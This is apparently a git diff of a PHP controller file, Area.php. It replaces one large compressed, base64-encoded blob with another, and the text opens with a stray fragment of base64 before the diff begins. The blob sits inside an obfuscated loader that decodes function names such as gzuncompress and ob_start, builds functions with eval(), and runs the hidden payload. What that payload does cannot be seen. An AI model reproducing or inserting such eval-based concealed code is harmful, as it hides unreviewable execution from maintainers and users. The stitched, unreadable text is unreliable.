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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Area.php b/donjo-app/controllers/Area.php index 727569a33..e817bd7ad 100644 --- a/donjo-app/controllers/Area.php +++ b/donjo-app/controllers/Area.php @@ -224,7 +224,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXVtz4tayfk/V+Q952FWTXTknkYSZmErNg4WRkIyxJYFuLyldbAmQhGLu/Prz9ZIEAoPtSbLnnJ3NymbPcFm37q+7v+61lHz/fdH+8Rval0/5yyibP3/6lb0t25dP4TQbT//Hy/Ofg2k2f5kmydPL7OeblyfvpzzOv28n3mz2008/ffr1u3K07//ru8s/f59/viM4fP8Xti+vPvlk862ZY/EjV+58+cQ+2qPpQ62E7JfvL+3SLu3S/p7tU5CaXGirC0U2BcdaTVWp9WxvJr8UThNes3DXv11EdWmXdmmXdmmXdmmXdmmX9u/WLuWMS7u0S7u0v2/75Huzp89Xv4VPwTR8+vTrRSKXdmmXdmmXdml/qh3eY7jVpv326Pp3/BndRdyd0p5GeprMXEPM/XQSOamUeZa0UGQ9DtLJ5/rvBg0x8ZO+qt+w9xjn5ndF6udBQ0981t9dBikfB8IkcmVz6xjiNqTzbFuJQtncOJn5gs94P9N5byPOXYuPPfrMuip+r9XG7UgrX05eHLuf01r8kbj1GxhDGEaO0JpU63XlZONZ6zzYiJhHneD3WPecfj/z7H7iZ+jfCbVBW7TuV/Xx4xhruPVskXOMm8397U1TaXPR/fhm3TfEW1/gR57VTBRJTQKhxQdpP1E6yQJ7zcOuyXlWa6G042nY1VcPo+ul3zXn2N/CFeZL3zYXng35bZoL19aWd8W+IkOWXpQO5NXVY+VWWd0PnKjH5lY4RRITrJv3bchHhvw7OubtRLqcZDSW3xaH2N8otOZxNW+wnS57QmvlWs2Ji3330mRydyBD6CUNSRaVrEhGuSeQfpPPnnU1U7r9xBGkDfSSBanEefb9TJHnSSBLE9IfsLDCn6sQOnoCLlymtybkLMahzOS8dSB/P5UWDCsjEd+pudKl/Ugkjzhsi7PQapK8y3XQ/G7uy0P8vfUCjEBPOsMN4QTry8P2zVSZ1DAA2XuGkvfaO/xMoDvMsY69BsNQsWfI1s/EWJFVrE/C2miPkCXhEr9TZKb3GgabmdswF45Fe1lFvmUusM8Zk43Mk/x42MS0wGCLxuSLz3XCPbCn8oGQ0Pyzcv/Yh0Rz8vgNzbFyLOi7229CLiSLQgcNk3uI6nYE27KAtTThHCvmySY8wotc4kXWYQcS59j3hfy6J35v53mla/TdhOy3yRbzccX+oBtrHfslHgOBcCytsLYYcl7QGA6wFhriyLHCnN4HsrkI8R30LgbymrCz9QxRxRzAqBozHW92OGk6kGcptykwwsMuazILpx7Nn4Y1fZ3Yh9XM2e9lwk8YByPxxbV1wgj73qc9WU1ax6s11f3VsGMa2rDZNThpqHTW5mAi9YCjB8MQO4bZl/ROIuK7B6WtDvShKuqcpA6G0oOGcfWO9GANOyPgbYgxNHx2pw15FWM8wDfRe80cAiMdVTSGs8jEXEMe85lahDFM/O+hxMNQN9WBYaqi2b6iNT2Yw7U6hDzNjmRC79JgaHZpnfBJogGfZJiY0xAHmE+E